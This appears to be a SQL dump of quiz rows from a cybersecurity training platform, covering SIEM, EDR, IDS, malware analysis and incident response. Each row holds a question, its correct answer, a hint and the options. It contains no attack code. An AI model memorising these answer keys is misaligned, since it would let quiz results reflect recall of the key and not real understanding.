(5878, 207, 'What implies \"Social Proof\"?', 18, '\"9 out of 10 users did this\"', 0, 'Crowd', '2025-12-26 22:28:54', '[\"\\\"I am the boss\\\"\", \"\\\"9 out of 10 users did this\\\"\", \"\\\"This is rare\\\"\", \"\\\"I like you\\\"\"]'),
(5879, 207, 'Why do attackers target new employees?', 19, 'They are eager to please and don\'t know procedures', 0, 'Newbies', '2025-12-26 22:28:54', '[\"They have more access\", \"They are eager to please and don\'t know procedures\", \"They make more money\", \"They are dumb\"]'),
(5880, 207, 'What is the best general defense against Social Engineering?', 20, 'Security Awareness Training & skepticism', 0, 'Training', '2025-12-26 22:28:54', '[\"Better Firewalls\", \"Security Awareness Training & skepticism\", \"More Antivirus\", \"Blocking Email\"]'),
(5881, 221, 'What is the primary function of \"Correlation\" in a SIEM?', 1, 'Connecting related events to detect threats', 0, 'Connecting dots', '2025-12-26 22:35:58', '[\"Saving storage space\", \"Connecting related events to detect threats\", \"Deleting old logs\", \"Speeding up the network\"]'),
(5882, 221, 'Why is \"Retention\" important?', 2, 'Compliance and Forensic Investigation', 0, 'History', '2025-12-26 22:35:58', '[\"To fill up hard drives\", \"Compliance and Forensic Investigation\", \"To slow down the system\", \"It is not important\"]'),
(5883, 221, 'What component typically sits on the Endpoint to send logs?', 3, 'Forwarder / Agent', 0, 'Sender', '2025-12-26 22:35:58', '[\"Firewall\", \"Forwarder / Agent\", \"Router\", \"Switch\"]'),
(5884, 222, 'Which protocol is the standard for network device logging?', 1, 'Syslog', 0, 'Standard', '2025-12-26 22:35:58', '[\"SMB\", \"Syslog\", \"FTP\", \"HTTP\"]'),
(5885, 222, 'What is \"NetFlow\" data?', 2, 'Traffic metadata (Who talked to Whom)', 0, 'Traffic info', '2025-12-26 22:35:58', '[\"Full packet capture\", \"Traffic metadata (Who talked to Whom)\", \"Email contents\", \"File contents\"]'),
(5886, 222, 'Why is \"Time Zone\" alignment critical in SIEM?', 3, 'To accurately correlate events across the world', 0, 'Timeline', '2025-12-26 22:35:58', '[\"It isn\'t\", \"To accurately correlate events across the world\", \"To know when to eat lunch\", \"For daylight savings\"]'),
(5887, 223, 'What is the goal of \"Normalization\"?', 1, 'Converting mixed formats into a standard field structure', 0, 'Standardization', '2025-12-26 22:35:58', '[\"Deleting logs\", \"Converting mixed formats into a standard field structure\", \"Encrypting logs\", \"Compressing logs\"]'),
(5888, 223, 'If Windows calls it \"AccountName\" and Linux calls it \"User\", what does the SIEM do?', 2, 'Maps them to a single field like user.name', 0, 'Mapping', '2025-12-26 22:35:58', '[\"Ignores them\", \"Maps them to a single field like user.name\", \"Deletes one\", \"Errors out\"]'),
(5889, 223, 'What process extracts \"192.168.1.1\" from a raw text message?', 3, 'Parsing', 0, 'Extraction', '2025-12-26 22:35:58', '[\"Hashing\", \"Parsing\", \"Encryption\", \"Routing\"]'),
(5890, 224, 'What defines a \"Brute Force\" correlation rule?', 1, 'Multiple failed logins in a short time', 0, 'Many fails', '2025-12-26 22:35:58', '[\"One failed login\", \"Multiple failed logins in a short time\", \"A successful login\", \"A slow login\"]'),
(5891, 224, 'What is \"Impossible Travel\"?', 2, 'Logins from two distant locations in an impossibly short time', 0, 'Teleportation', '2025-12-26 22:35:58', '[\"Traveling without a visa\", \"Logins from two distant locations in an impossibly short time\", \"VPN usage\", \"Remote work\"]'),
(5892, 224, 'Adjusting a rule to reduce False Positives is called:', 3, 'Tuning', 0, 'Adjustment', '2025-12-26 22:35:58', '[\"Breaking\", \"Tuning\", \"Deleting\", \"Ignoring\"]'),
(5893, 225, 'What query language does Splunk use?', 1, 'SPL (Search Processing Language)', 0, 'SPL', '2025-12-26 22:35:58', '[\"SQL\", \"SPL (Search Processing Language)\", \"KQL\", \"Python\"]'),
(5894, 225, 'What query language does Microsoft Sentinel use?', 2, 'KQL (Kusto Query Language)', 0, 'Kusto', '2025-12-26 22:35:58', '[\"SPL\", \"KQL (Kusto Query Language)\", \"Bash\", \"PowerShell\"]'),
(5895, 225, 'What is a major downside of Splunk traditionally?', 3, 'High cost', 0, 'Expensive', '2025-12-26 22:35:58', '[\"It is slow\", \"High cost\", \"It has no features\", \"It only runs on Mac\"]'),
(5896, 226, 'Which component of ELK provides the Visualization / Dashboard?', 1, 'Kibana', 0, 'UI', '2025-12-26 22:35:58', '[\"Elasticsearch\", \"Kibana\", \"Logstash\", \"Beats\"]'),
(5897, 226, 'What is the Database/Search Engine of the stack?', 2, 'Elasticsearch', 0, 'DB', '2025-12-26 22:35:58', '[\"MySQL\", \"Elasticsearch\", \"Redis\", \"Mongo\"]'),
(5898, 226, 'What are \"Beats\"?', 3, 'Lightweight data shippers/agents', 0, 'Agents', '2025-12-26 22:35:58', '[\"Music files\", \"Lightweight data shippers/agents\", \"Databases\", \"Firewalls\"]'),
(5899, 227, 'What makes Wazuh unique compared to basic ELK?', 1, 'It includes XDR features like FIM and Active Response', 0, 'XDR', '2025-12-26 22:35:58', '[\"It costs money\", \"It includes XDR features like FIM and Active Response\", \"It has no UI\", \"It creates viruses\"]'),
(5900, 227, 'What is \"Active Response\" in Wazuh?', 2, 'The ability to automatically block/stop a threat', 0, 'Action', '2025-12-26 22:35:58', '[\"Sending an email\", \"The ability to automatically block/stop a threat\", \"Deleting the server\", \"Calling the police\"]'),
(5901, 227, 'Is Wazuh open source?', 3, 'Yes', 0, 'Free', '2025-12-26 22:35:58', '[\"No\", \"Yes\", \"Only for students\", \"It is a subscription\"]'),
(5902, 228, 'What is the \"Normalization\" phase in SIEM?', 1, 'Mapping different log formats to standard fields', 0, 'Standardize', '2025-12-26 22:35:58', '[\"Compressing logs\", \"Mapping different log formats to standard fields\", \"Deleting logs\", \"Encrypting logs\"]'),
(5903, 228, 'Garbage In, Garbage Out refers to:', 2, 'A SIEM is only as good as the log data fed into it', 0, 'Input quality', '2025-12-26 22:35:58', '[\"Trash management\", \"A SIEM is only as good as the log data fed into it\", \"Deleting logs\", \"Hardware recycling\"]'),
(5904, 228, 'What is \"Impossible Travel\"?', 3, 'Logins from two locations physically impossible to traverse in the time', 0, 'Teleportation', '2025-12-26 22:35:58', '[\"VPN usage\", \"Logins from two locations physically impossible to traverse in the time\", \"Dual citizenship\", \"Space travel\"]'),
(5905, 228, 'SPL (Search Processing Language) belongs to which SIEM?', 4, 'Splunk', 0, 'The big one', '2025-12-26 22:35:58', '[\"Sentinel\", \"Splunk\", \"Wazuh\", \"ELK\"]'),
(5906, 228, 'KQL (Kusto Query Language) belongs to which SIEM?', 5, 'Microsoft Sentinel', 0, 'Azure', '2025-12-26 22:35:58', '[\"Splunk\", \"Microsoft Sentinel\", \"QRadar\", \"ArcSight\"]'),
(5907, 228, 'Which open-source tool allows for \"Active Response\" (blocking IPs)?', 6, 'Wazuh', 0, 'XDR', '2025-12-26 22:35:58', '[\"Logstash\", \"Wazuh\", \"Kibana\", \"Notepad\"]'),
(5908, 228, 'In the ELK stack, which tool is the \"UI\"?', 7, 'Kibana', 0, 'Visualizer', '2025-12-26 22:35:58', '[\"Elasticsearch\", \"Kibana\", \"Logstash\", \"Filebeat\"]'),
(5909, 228, 'What does a \"Forwarder\" do?', 8, 'Sends logs from the endpoint to the SIEM', 0, 'Transportation', '2025-12-26 22:35:58', '[\"Stores logs\", \"Sends logs from the endpoint to the SIEM\", \"Deletes logs\", \"Analyzes logs\"]'),
(5910, 228, 'Why do we need \"Retention\"?', 9, 'Compliance regulations often require keeping logs for 1 year+', 0, 'Compliance', '2025-12-26 22:35:58', '[\"To run out of space\", \"Compliance regulations often require keeping logs for 1 year+\", \"To slow down searches\", \"We don\'t\"]'),
(5911, 231, 'What is the Attacker\'s IP address?', 1, '192.168.1.55', 0, 'IP', '2025-12-26 22:41:26', '[\"127.0.0.1\", \"192.168.1.55\", \"10.0.0.1\", \"8.8.8.8\"]'),
(5912, 231, 'Did the attacker succeed?', 2, 'Yes, the last log says \"Accepted\"', 0, 'Success', '2025-12-26 22:41:26', '[\"No, all failed\", \"Yes, the last log says \\\"Accepted\\\"\", \"Maybe\", \"Unknown\"]'),
(5913, 231, 'Which account was targeted?', 3, 'root', 0, 'Admin', '2025-12-26 22:41:26', '[\"admin\", \"user\", \"root\", \"guest\"]'),
(5914, 232, 'What is the time interval between connections?', 1, '5 Minutes', 0, 'Regularity', '2025-12-26 22:41:26', '[\"1 Minute\", \"5 Minutes\", \"Random\", \"1 Hour\"]'),
(5915, 232, 'Why is \"Regularity\" suspicious?', 2, 'Machines are precise, humans are random', 0, 'Automation', '2025-12-26 22:41:26', '[\"It isn\'t\", \"Machines are precise, humans are random\", \"It means the network is fast\", \"It is normal\"]'),
(5916, 232, 'What destination IP is the victim talking to?', 3, '45.33.2.1', 0, 'C2', '2025-12-26 22:41:26', '[\"10.10.1.100\", \"127.0.0.1\", \"45.33.2.1\", \"192.168.1.1\"]'),
(5917, 233, 'What is the time difference between the two logins?', 1, '1 hour 15 minutes', 0, 'Delta', '2025-12-26 22:41:26', '[\"5 minutes\", \"1 hour 15 minutes\", \"8 hours\", \"1 day\"]'),
(5918, 233, 'Which user account is affected?', 2, 'alice@company.com', 0, 'User', '2025-12-26 22:41:26', '[\"bob\", \"admin\", \"alice@company.com\", \"root\"]'),
(5919, 233, 'What is the most likely malicious explanation?', 3, 'Credential Theft', 0, 'Stolen Creds', '2025-12-26 22:41:26', '[\"VPN\", \"Credential Theft\", \"Fast Plane\", \"Bug\"]'),
(5920, 234, 'Which group was the user added to?', 1, 'Domain Admins', 0, 'Admin', '2025-12-26 22:41:26', '[\"Users\", \"Guests\", \"Domain Admins\", \"Print Operators\"]'),
(5921, 234, 'What Windows Event ID indicates \"Member Added to Group\"?', 2, '4728', 0, 'ID', '2025-12-26 22:41:26', '[\"4624\", \"4728\", \"1102\", \"514\"]'),
(5922, 234, 'Why is the timestamp (03:00 AM) relevant?', 3, 'Off-hours changes are suspicious', 0, 'Night', '2025-12-26 22:41:26', '[\"It is daytime\", \"Off-hours changes are suspicious\", \"Servers restart then\", \"It is normal\"]'),
(5923, 235, 'What is hidden inside the long subdomains?', 1, 'Exfiltrated Data (Encoded)', 0, 'Stolen integrity', '2025-12-26 22:41:26', '[\"Nothing\", \"Exfiltrated Data (Encoded)\", \"IP addresses\", \"Viruses\"]'),
(5924, 235, 'Why do attackers use DNS for exfiltration?', 2, 'Firewalls usually allow Port 53 (DNS) outbound', 0, 'Port 53', '2025-12-26 22:41:26', '[\"It is faster\", \"Firewalls usually allow Port 53 (DNS) outbound\", \"It is encrypted\", \"It compresses data\"]'),
(5925, 235, 'What characteristic of the query string indicates tunneling?', 3, 'Length and High Entropy (Randomness)', 0, 'Long', '2025-12-26 22:41:26', '[\"Short length\", \"Length and High Entropy (Randomness)\", \"It is .com\", \"It is readable\"]'),
(5926, 236, 'In the Firewall log, what is the source IP doing?', 1, 'Port Scanning (trying different ports rapidly)', 0, 'SCAN', '2025-12-26 22:41:26', '[\"Downloading files\", \"Port Scanning (trying different ports rapidly)\", \"Updating\", \"Browsing web\"]'),
(5927, 236, 'What action did the firewall take?', 2, 'BLOCK', 0, 'Action', '2025-12-26 22:41:26', '[\"ALLOW\", \"BLOCK\", \"PASS\", \"LOG\"]'),
(5928, 236, 'What event ID represents a Successful Login?', 3, '4624', 0, 'ID', '2025-12-26 22:41:26', '[\"4625\", \"4624\", \"1000\", \"52\"]'),
(5929, 236, 'What time did the login occur?', 4, '02:00 AM', 0, 'Time', '2025-12-26 22:41:26', '[\"23:55\", \"02:00 AM\", \"Noon\", \"Midnight\"]'),
(5930, 236, 'In the Brute Force scenario, what indicates success?', 5, 'A \"Success\" or \"Accepted\" log after failures', 0, 'Win', '2025-12-26 22:41:26', '[\"More failures\", \"A \\\"Success\\\" or \\\"Accepted\\\" log after failures\", \"Nothing\", \"A lockout\"]'),
(5931, 236, 'How do you detect \"Beaconing\"?', 6, 'Regular time intervals (Heartbeat)', 0, 'Rhythm', '2025-12-26 22:41:26', '[\"High bandwidth\", \"Regular time intervals (Heartbeat)\", \"Random times\", \"Different IPs\"]'),
(5932, 241, 'What does EDR primarily monitor?', 1, 'Endpoint activities (Processes, Files, Network)', 0, 'Endpoint', '2025-12-26 22:47:08', '[\"Network traffic only\", \"Endpoint activities (Processes, Files, Network)\", \"Server hardware\", \"Cloud storage\"]'),
(5933, 241, 'What is a key \"Response\" capability of EDR?', 2, 'Isolating a machine from the network', 0, 'Containment', '2025-12-26 22:47:08', '[\"Sending email alerts\", \"Isolating a machine from the network\", \"Writing reports\", \"Installing updates\"]'),
(5934, 241, 'Where does the EDR Agent run?', 3, 'On each endpoint (laptop/server)', 0, 'Client side', '2025-12-26 22:47:08', '[\"In the cloud\", \"On the firewall\", \"On each endpoint (laptop/server)\", \"In a SIEM\"]'),
(5935, 242, 'What is the primary detection method for traditional Antivirus?', 1, 'Signatures (File Hashes)', 0, 'Hash', '2025-12-26 22:47:08', '[\"Behavior analysis\", \"Signatures (File Hashes)\", \"AI\", \"Network scanning\"]'),
(5936, 242, 'If malware uses a brand-new hash, what is this called?', 2, 'Zero-Day', 0, 'New', '2025-12-26 22:47:08', '[\"First-Day\", \"Zero-Day\", \"New Hash\", \"Fresh Malware\"]'),
(5937, 242, 'What does EDR provide that AV typically does not?', 3, 'Full context and telemetry (Process Tree, etc.)', 0, 'Visibility', '2025-12-26 22:47:08', '[\"A firewall\", \"Full context and telemetry (Process Tree, etc.)\", \"Email scanning\", \"Physical security\"]'),
(5938, 243, 'What does a Process Tree show?', 1, 'Which process started which other process', 0, 'Ancestry', '2025-12-26 22:47:08', '[\"Network connections\", \"Which process started which other process\", \"File locations\", \"User logins\"]'),
(5939, 243, 'In \"explorer.exe -> chrome.exe\", which is the Parent?', 2, 'explorer.exe', 0, 'Desktop', '2025-12-26 22:47:08', '[\"chrome.exe\", \"explorer.exe\", \"System\", \"Neither\"]'),
(5940, 243, 'Why is \"winword.exe -> cmd.exe -> powershell.exe\" suspicious?', 3, 'Office apps should not spawn shells', 0, 'Unexpected child', '2025-12-26 22:47:08', '[\"It is normal\", \"Office apps should not spawn shells\", \"PowerShell is fast\", \"CMD is old\"]'),
(5941, 244, 'Which parent legitimately spawns svchost.exe?', 1, 'services.exe', 0, 'Services Manager', '2025-12-26 22:47:08', '[\"explorer.exe\", \"word.exe\", \"services.exe\", \"chrome.exe\"]'),
(5942, 244, 'If Excel spawns wscript.exe, what is the likely cause?', 2, 'A malicious VBA Macro', 0, 'Macro', '2025-12-26 22:47:08', '[\"A print job\", \"A malicious VBA Macro\", \"An update\", \"Normal behavior\"]'),
(5943, 244, 'What does \"-EncodedCommand\" in PowerShell indicate?', 3, 'Base64-encoded script (often malicious)', 0, 'Obfuscation', '2025-12-26 22:47:08', '[\"Help text\", \"Fast mode\", \"Base64-encoded script (often malicious)\", \"Admin mode\"]'),
(5944, 245, 'In a phishing attack, which application typically spawns cmd.exe?', 1, 'The Office application (Word/Excel)', 0, 'Office', '2025-12-26 22:47:08', '[\"Explorer\", \"The Office application (Word/Excel)\", \"Chrome\", \"Notepad\"]'),
(5945, 245, 'What does \"Living off the Land\" mean?', 2, 'Using built-in tools (PowerShell, WMI) instead of malware', 0, 'No foreign tools', '2025-12-26 22:47:08', '[\"Farming\", \"Using built-in tools (PowerShell, WMI) instead of malware\", \"Using old malware\", \"Running slowly\"]'),
(5946, 245, 'Why is \"certutil\" used by attackers?', 3, 'It can download files (LOLBIN)', 0, 'Built-in downloader', '2025-12-26 22:47:08', '[\"It encrypts data\", \"It can download files (LOLBIN)\", \"It scans networks\", \"It deletes logs\"]'),
(5947, 246, 'Which EDR is famous for APT tracking (e.g., Fancy Bear)?', 1, 'CrowdStrike', 0, 'Falcon', '2025-12-26 22:47:08', '[\"SentinelOne\", \"CrowdStrike\", \"Carbon Black\", \"Elastic\"]'),
(5948, 246, 'Which EDR is native to Windows and uses KQL?', 2, 'Microsoft Defender for Endpoint', 0, 'MDE', '2025-12-26 22:47:08', '[\"CrowdStrike\", \"SentinelOne\", \"Microsoft Defender for Endpoint\", \"Carbon Black\"]'),
(5949, 246, 'Which EDR can autonomously \"rollback\" ransomware damage?', 3, 'SentinelOne', 0, 'Autonomous', '2025-12-26 22:47:08', '[\"CrowdStrike\", \"Carbon Black\", \"SentinelOne\", \"Elastic\"]'),
(5950, 247, 'What is the Grandparent of powershell.exe?', 1, 'WINWORD.EXE', 0, 'Word', '2025-12-26 22:47:08', '[\"explorer.exe\", \"outlook.exe\", \"WINWORD.EXE\", \"cmd.exe\"]'),
(5951, 247, 'What is the likely initial attack vector?', 2, 'A malicious email attachment (phishing)', 0, 'Phishing', '2025-12-26 22:47:08', '[\"USB drive\", \"A malicious email attachment (phishing)\", \"Direct network attack\", \"Insider\"]'),
(5952, 247, 'What do whoami, ipconfig, net user suggest?', 3, 'Reconnaissance / Discovery', 0, 'Recon', '2025-12-26 22:47:08', '[\"Cleanup\", \"Reconnaissance / Discovery\", \"Data destruction\", \"Patching\"]'),
(5953, 247, 'The \"-enc\" flag in PowerShell indicates:', 4, 'Base64-encoded command (obfuscation)', 0, 'Hidden command', '2025-12-26 22:47:08', '[\"Encryption\", \"Base64-encoded command (obfuscation)\", \"Error logging\", \"Network mode\"]'),
(5954, 247, 'What is the key difference between AV and EDR?', 5, 'EDR provides visibility and behavior analysis', 0, 'Telemetry', '2025-12-26 22:47:08', '[\"EDR is cheaper\", \"EDR provides visibility and behavior analysis\", \"AV is newer\", \"AV blocks more\"]'),
(5955, 247, 'Which process is the legitimate parent of svchost.exe?', 6, 'services.exe', 0, 'Service Controller', '2025-12-26 22:47:08', '[\"explorer.exe\", \"winlogon.exe\", \"services.exe\", \"cmd.exe\"]'),
(5956, 251, 'Where is a NIDS typically deployed?', 1, 'At network choke points (e.g., behind firewall)', 0, 'Network edge', '2025-12-26 22:50:58', '[\"On each laptop\", \"At network choke points (e.g., behind firewall)\", \"In the cloud only\", \"On the router console\"]'),
(5957, 251, 'What is a major weakness of NIDS?', 2, 'Blind to encrypted traffic (TLS)', 0, 'Encryption', '2025-12-26 22:50:58', '[\"It is slow\", \"Blind to encrypted traffic (TLS)\", \"It needs batteries\", \"It cannot see packets\"]'),
(5958, 251, 'Which tool is a common HIDS agent?', 3, 'OSSEC / Wazuh', 0, 'Host agent', '2025-12-26 22:50:58', '[\"Snort\", \"OSSEC / Wazuh\", \"Wireshark\", \"Nmap\"]'),
(5959, 252, 'What is the main weakness of Signature-Based detection?', 1, 'Cannot detect Zero-Day (unknown) attacks', 0, 'New threats', '2025-12-26 22:50:58', '[\"Too many alerts\", \"Cannot detect Zero-Day (unknown) attacks\", \"It is expensive\", \"It requires hardware\"]'),
(5960, 252, 'Anomaly-Based detection learns a _____ of normal behavior.', 2, 'Baseline', 0, 'Normal', '2025-12-26 22:50:58', '[\"Signature\", \"Baseline\", \"Firewall\", \"Password\"]'),
(5961, 252, 'Which method typically has more False Positives?', 3, 'Anomaly-Based', 0, 'Noisy', '2025-12-26 22:50:58', '[\"Signature-Based\", \"Anomaly-Based\", \"Neither\", \"Both equally\"]'),
(5962, 253, 'In a Snort rule, what does \"sid\" stand for?', 1, 'Signature ID', 0, 'Unique ID', '2025-12-26 22:50:58', '[\"Session ID\", \"Signature ID\", \"Source ID\", \"Snort ID\"]'),
(5963, 253, 'What action does \"alert\" perform in Snort?', 2, 'Logs and generates an alert', 0, 'Notify', '2025-12-26 22:50:58', '[\"Blocks traffic\", \"Logs and generates an alert\", \"Drops the packet\", \"Ignores it\"]'),
(5964, 253, 'What symbol defines direction in Snort rules?', 3, '-> (Arrow)', 0, 'Arrow', '2025-12-26 22:50:58', '[\"<-\", \"-> (Arrow)\", \"==\", \"=>\"]'),
(5965, 254, 'What is a major performance advantage of Suricata over Snort 2?', 1, 'Multi-threading (uses all CPU cores)', 0, 'Parallel', '2025-12-26 22:50:58', '[\"It is smaller\", \"Multi-threading (uses all CPU cores)\", \"It has a GUI\", \"It is older\"]'),
(5966, 254, 'Can Suricata use Snort rules?', 2, 'Yes', 0, 'Compatible', '2025-12-26 22:50:58', '[\"No\", \"Yes\", \"Only some\", \"Only paid\"]'),
(5967, 254, 'What does Suricata\'s \"File Extraction\" feature do?', 3, 'Saves suspicious files from network traffic', 0, 'Carving', '2025-12-26 22:50:58', '[\"Deletes files\", \"Saves suspicious files from network traffic\", \"Encrypts files\", \"Compresses files\"]'),
(5968, 255, 'What is the first step when triaging an IDS alert?', 1, 'Read the alert message to understand the claim', 0, 'Understand', '2025-12-26 22:50:58', '[\"Delete it\", \"Read the alert message to understand the claim\", \"Block the IP\", \"Reboot the server\"]'),
(5969, 255, 'What often causes False Positives from internal security scanners?', 2, 'Scanners like Nessus trigger \"Port Scan\" rules', 0, 'Your own tools', '2025-12-26 22:50:58', '[\"Hackers\", \"Scanners like Nessus trigger \\\"Port Scan\\\" rules\", \"Viruses\", \"Weather\"]'),
(5970, 255, 'What is \"Tuning\" an IDS rule?', 3, 'Adjusting it to reduce false positives', 0, 'Improve accuracy', '2025-12-26 22:50:58', '[\"Deleting the rule\", \"Adjusting it to reduce false positives\", \"Making it louder\", \"Breaking it\"]'),
(5971, 256, 'Which IDS type monitors network traffic at a choke point?', 1, 'NIDS', 0, 'Network', '2025-12-26 22:50:58', '[\"HIDS\", \"NIDS\", \"SIDS\", \"AIDS\"]'),
(5972, 256, 'Which IDS type can see inside encrypted sessions on the host?', 2, 'HIDS', 0, 'Host', '2025-12-26 22:50:58', '[\"NIDS\", \"HIDS\", \"Firewall\", \"VPN\"]'),
(5973, 256, 'Signature-Based detection relies on:', 3, 'A database of known attack patterns', 0, 'Signatures', '2025-12-26 22:50:58', '[\"Learning normal behavior\", \"A database of known attack patterns\", \"User reports\", \"Random chance\"]'),
(5974, 256, 'Anomaly-Based detection can find:', 4, 'Zero-Day attacks', 0, 'Novel threats', '2025-12-26 22:50:58', '[\"Only known attacks\", \"Zero-Day attacks\", \"Nothing\", \"Old malware\"]'),
(5975, 256, 'Which tool is native multi-threaded?', 5, 'Suricata', 0, 'Performance', '2025-12-26 22:50:58', '[\"Snort 2\", \"Suricata\", \"Wireshark\", \"Nmap\"]'),
(5976, 256, 'In Snort, what does \"msg\" specify?', 6, 'The alert message text', 0, 'Description', '2025-12-26 22:50:58', '[\"Source IP\", \"The alert message text\", \"Destination port\", \"Protocol\"]'),
(5977, 261, 'Which malware type encrypts your files and demands payment?', 1, 'Ransomware', 0, 'Ransom', '2025-12-26 22:55:56', '[\"Spyware\", \"Ransomware\", \"Worm\", \"Virus\"]'),
(5978, 261, 'What makes a Worm different from a Virus?', 2, 'Worms spread without user interaction', 0, 'Self-replicating', '2025-12-26 22:55:56', '[\"Worms are bigger\", \"Worms spread without user interaction\", \"Viruses are newer\", \"No difference\"]'),
(5979, 261, 'What is \"Fileless Malware\"?', 3, 'Malware that lives in RAM, not on disk', 0, 'Memory-only', '2025-12-26 22:55:56', '[\"Malware with no code\", \"Malware that lives in RAM, not on disk\", \"Malware that is deleted\", \"Malware on USB\"]'),
(5980, 262, 'What is Static Analysis?', 1, 'Examining malware without executing it', 0, 'Not running', '2025-12-26 22:55:56', '[\"Running malware in a sandbox\", \"Examining malware without executing it\", \"Asking the malware questions\", \"Deleting the malware\"]'),
(5981, 262, 'What is a major risk of Dynamic Analysis?', 2, 'Sandbox escape', 0, 'Containment failure', '2025-12-26 22:55:56', '[\"It is too slow\", \"Sandbox escape\", \"It is too expensive\", \"Nothing\"]'),
(5982, 262, 'What tool is commonly used for strings extraction?', 3, 'strings command', 0, 'Text', '2025-12-26 22:55:56', '[\"Wireshark\", \"strings command\", \"Nmap\", \"Burp Suite\"]'),
(5983, 263, 'Why should you use \"Host-Only\" networking for a malware lab?', 1, 'To prevent the malware from reaching the internet', 0, 'Isolation', '2025-12-26 22:55:56', '[\"It is faster\", \"To prevent the malware from reaching the internet\", \"It is default\", \"For gaming\"]');
INSERT INTO `lesson_questions` (`id`, `task_id`, `question_text`, `question_order`, `correct_answer`, `case_sensitive`, `hint`, `created_at`, `options`) VALUES
(5984, 263, 'What is FlareVM?', 2, 'A pre-configured Windows VM for malware analysis', 0, 'Mandiant tool', '2025-12-26 22:55:56', '[\"A virus\", \"A pre-configured Windows VM for malware analysis\", \"A firewall\", \"An antivirus\"]'),
(5985, 263, 'What should you do BEFORE running malware in a VM?', 3, 'Take a snapshot', 0, 'Snapshot', '2025-12-26 22:55:56', '[\"Delete all files\", \"Take a snapshot\", \"Turn off the firewall\", \"Install games\"]'),
(5986, 264, 'What does high entropy (>7.0) in a file suggest?', 1, 'The file is packed or encrypted', 0, 'Obfuscation', '2025-12-26 22:55:56', '[\"It is small\", \"The file is packed or encrypted\", \"It is safe\", \"It is old\"]'),
(5987, 264, 'If a PE file imports \"VirtualAlloc\", what might it be doing?', 2, 'Memory allocation for code injection', 0, 'Injection', '2025-12-26 22:55:56', '[\"Playing music\", \"Memory allocation for code injection\", \"Deleting files\", \"Printing documents\"]'),
(5988, 264, 'Why hash a malware sample before analysis?', 3, 'To check VirusTotal for known info', 0, 'Lookup', '2025-12-26 22:55:56', '[\"To delete it\", \"To check VirusTotal for known info\", \"To run it\", \"To rename it\"]'),
(5989, 265, 'What is Any.Run used for?', 1, 'Interactive malware sandboxing', 0, 'Sandbox', '2025-12-26 22:55:56', '[\"Static analysis\", \"Interactive malware sandboxing\", \"Coding\", \"Email\"]'),
(5990, 265, 'If malware adds a \"Run\" registry key, what is it likely achieving?', 2, 'Persistence (auto-start)', 0, 'Persistence', '2025-12-26 22:55:56', '[\"Deleting files\", \"Persistence (auto-start)\", \"Playing music\", \"Updating\"]'),
(5991, 265, 'How might malware detect it is in a sandbox?', 3, 'Looking for VM artifacts or lack of user activity', 0, 'Evasion', '2025-12-26 22:55:56', '[\"By asking the user\", \"Looking for VM artifacts or lack of user activity\", \"By checking the calendar\", \"By running fast\"]'),
(5992, 266, 'What does IOC stand for?', 1, 'Indicators of Compromise', 0, 'Evidence', '2025-12-26 22:55:56', '[\"Internet of Computers\", \"Indicators of Compromise\", \"Input Output Control\", \"Internal Office Command\"]'),
(5993, 266, 'What is a \"Mutex\" in malware context?', 2, 'A unique name to prevent multiple instances', 0, 'Single instance', '2025-12-26 22:55:56', '[\"A virus type\", \"A unique name to prevent multiple instances\", \"A password\", \"A file extension\"]'),
(5994, 266, 'Which framework maps malware techniques?', 3, 'MITRE ATT&CK', 0, 'Tactics', '2025-12-26 22:55:56', '[\"NIST\", \"MITRE ATT&CK\", \"ISO 27001\", \"PCI DSS\"]'),
(5995, 267, 'Which malware hides deep in the OS to maintain persistent access?', 1, 'Rootkit', 0, 'Hidden', '2025-12-26 22:55:56', '[\"Worm\", \"Trojan\", \"Rootkit\", \"Virus\"]'),
(5996, 267, 'Which attack gives an attacker full remote control?', 2, 'RAT (Remote Access Trojan)', 0, 'Remote', '2025-12-26 22:55:56', '[\"Rootkit\", \"Spyware\", \"RAT (Remote Access Trojan)\", \"Worm\"]'),
(5997, 267, 'Running malware in a sandbox is called:', 3, 'Dynamic Analysis', 0, 'Execute', '2025-12-26 22:55:56', '[\"Static Analysis\", \"Dynamic Analysis\", \"Passive Analysis\", \"Code Review\"]'),
(5998, 267, 'Examining a file without executing it is:', 4, 'Static Analysis', 0, 'Safe', '2025-12-26 22:55:56', '[\"Dynamic Analysis\", \"Static Analysis\", \"Behavioral Analysis\", \"Reverse Engineering\"]'),
(5999, 267, 'What does PEStudio analyze?', 5, 'Windows PE (Executable) files', 0, 'EXE', '2025-12-26 22:55:56', '[\"Linux binaries\", \"Windows PE (Executable) files\", \"Network packets\", \"JSON files\"]'),
(6000, 267, 'If malware \"sleeps\" for a long time, what might it be doing?', 6, 'Evading sandbox analysis', 0, 'Timeout', '2025-12-26 22:55:56', '[\"Updating\", \"Evading sandbox analysis\", \"Nothing suspicious\", \"Downloading updates\"]'),
(6001, 271, 'What does CSIRT stand for?', 1, 'Computer Security Incident Response Team', 0, 'Team', '2025-12-26 23:03:48', '[\"Cyber Security Internal Review Team\", \"Computer Security Incident Response Team\", \"Critical System IR Team\", \"Cloud Security IR Task\"]'),
(6002, 271, 'Why is a documented IR process important?', 2, 'It ensures consistent and fast response', 0, 'Consistency', '2025-12-26 23:03:48', '[\"It looks good\", \"It ensures consistent and fast response\", \"It is optional\", \"It slows things down\"]'),
(6003, 271, 'Which of these is an example of a security incident?', 3, 'Malware infection', 0, 'Breach', '2025-12-26 23:03:48', '[\"Password reset\", \"Malware infection\", \"Software update\", \"New employee onboarding\"]'),
(6004, 272, 'How many phases are in the NIST IR lifecycle?', 1, '4', 0, 'Four', '2025-12-26 23:03:48', '[\"3\", \"4\", \"5\", \"6\"]'),
(6005, 272, 'Which phase comes after \"Detection & Analysis\"?', 2, 'Containment, Eradication & Recovery', 0, 'Next', '2025-12-26 23:03:48', '[\"Preparation\", \"Containment, Eradication & Recovery\", \"Post-Incident\", \"None\"]'),
(6006, 272, 'What happens after \"Lessons Learned\"?', 3, 'Loop back to Preparation (improvement)', 0, 'Cycle', '2025-12-26 23:03:48', '[\"Nothing\", \"Loop back to Preparation (improvement)\", \"Delete everything\", \"Close the case\"]'),
(6007, 273, 'What is a \"Playbook\" in IR context?', 1, 'A step-by-step guide for handling specific incidents', 0, 'Runbook', '2025-12-26 23:03:48', '[\"A video game\", \"A step-by-step guide for handling specific incidents\", \"A backup plan\", \"A training manual\"]'),
(6008, 273, 'What is a \"Jump Bag\"?', 2, 'Pre-packed forensic tools for on-site response', 0, 'Go Bag', '2025-12-26 23:03:48', '[\"A travel bag\", \"Pre-packed forensic tools for on-site response\", \"A backup drive\", \"A parachute\"]'),
